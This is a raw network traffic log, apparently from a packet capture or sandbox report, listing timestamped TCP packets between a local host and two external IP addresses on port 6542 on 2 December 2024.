Dec 2, 2024 18:43:32.855325937 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.855441093 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.855484962 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.858747959 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.858800888 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.858864069 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.858907938 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.862298965 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.862359047 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.862418890 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.862462997 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.865973949 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.866028070 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.866069078 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.866112947 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.869585037 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.869652033 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.869709969 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.869759083 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.873037100 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.873094082 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.873373985 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.873545885 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.876280069 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.876349926 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.876483917 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.876528025 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.879251957 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.879302025 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.879390955 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.879441023 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.882447004 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.882492065 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.882561922 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.882613897 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.885565042 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.885616064 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.885762930 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.885812044 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.888715029 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.888786077 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.888823032 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.888873100 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.891947031 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.891999006 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.892002106 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.892040968 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.895227909 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.895287037 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.895370960 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.895510912 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.897226095 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.897279024 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.897371054 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.897424936 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.899785995 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.899842024 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.899986029 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.900036097 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.901990891 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.902045012 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.902084112 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.902132988 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.903736115 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.903794050 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.903871059 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.903922081 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.906816959 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.906871080 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.906938076 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.906991959 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.908235073 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.908288002 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.908334017 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.908382893 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.909998894 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.910058022 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.910396099 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.910453081 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.911746025 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.911794901 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.911879063 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.911930084 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.914132118 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.914200068 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.914241076 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.914289951 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.916114092 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.916173935 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.916228056 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.916270971 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.918168068 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.918225050 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.918272018 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.918319941 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.919976950 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.920032978 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.920064926 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.920114040 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.922061920 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.922113895 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.922194958 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.922244072 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.924000025 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.924066067 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.924139023 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.924190998 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.926722050 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.926780939 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.926889896 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.926934958 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.928771019 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.928796053 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.928822041 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.928834915 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.939673901 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.939795017 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.939857960 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.939857960 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.940450907 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.940499067 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.940558910 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.940603971 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.942497969 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.942548037 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.942686081 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.942728043 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.944240093 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.944291115 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.944340944 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.944385052 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:34.087785959 CET	6542	49706	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:34.088016033 CET	49706	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:34.459047079 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:34.581716061 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:34.581798077 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:34.582204103 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:34.702397108 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:35.868282080 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:35.868432999 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:35.868446112 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:35.868449926 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:35.868509054 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:35.868509054 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:35.880697012 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:36.013264894 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:36.292853117 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:36.293075085 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:36.293603897 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:36.414376974 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.276055098 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.276238918 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.276252031 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.276346922 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.276819944 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.279752970 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.396251917 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.396270037 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.396354914 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.396434069 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.396447897 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.396493912 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.397068977 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.397082090 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.397124052 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.397825003 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.397835970 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.397845030 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.397869110 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.397891998 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.398448944 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.398461103 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.398503065 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.473855972 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.473962069 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.474034071 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.477144957 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.477193117 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.478425026 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.478535891 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.478585005 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.483407021 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.483510971 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.483580112 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.483633041 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.517144918 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.517432928 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.517487049 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.521450043 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.521573067 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.521617889 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.530163050 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.530221939 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.530268908 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.530313015 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.538665056 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.538711071 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.538759947 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.538799047 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.545413017 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.545465946 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.545656919 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.545703888 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.552540064 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.552613020 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.552695990 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.552741051 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.559745073 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.559829950 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.559946060 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.559993982 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.566900969 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.566961050 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.567044020 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.567089081 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.574156046 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.574215889 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.574302912 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.574351072 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.594310045 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.594484091 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.594511986 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.594540119 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.598691940 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.598751068 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.598805904 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.598855972 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.606302977 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.606385946 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.673995972 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.674036026 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.674107075 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.676949978 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.677015066 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.678071022 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.678129911 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.678255081 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.678302050 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.684226036 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.684302092 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.684377909 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.684422016 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.690458059 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.690618038 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.690685034 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.696191072 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.696361065 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.696424961 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.701931000 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.702230930 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.702287912 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.707619905 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.707745075 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.707817078 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.713362932 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.713506937 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.713576078 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.719197989 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.719213963 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.719285011 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.725141048 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.725202084 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.725250959 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.725296974 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.731590033 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.731690884 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.731753111 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.734915018 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.734978914 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.735074997 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.735124111 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.738564968 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.738622904 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.738718987 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.738787889 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.741784096 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.741852999 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.741863012 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.741902113 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.745222092 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.745273113 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.745371103 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.745418072 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.748991966 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.749046087 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.749192953 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.749245882 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.752577066 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.752665997 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.752720118 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.756172895 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.756237984 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.756385088 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.756434917 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.760081053 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.760158062 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.760402918 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.760459900 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.763674021 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.763722897 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.763840914 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.763885975 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.767222881 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.767272949 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.767455101 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.767503977 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.770597935 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.770823956 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.770889044 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.773534060 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.773569107 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.773633003 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.775935888 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.775983095 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.776041031 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.778518915 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.778568983 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.778650045 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.778693914 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.781491995 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.783641100 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.875221968 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.875334024 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.875416040 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.876780033 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.877291918 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.877347946 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.877545118 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.877594948 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.880332947 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.880481958 CET	6542	49761	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:41.880538940 CET	49761	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:41.883441925 CET	6542	49761	94.232.43.224	192.168.2.5
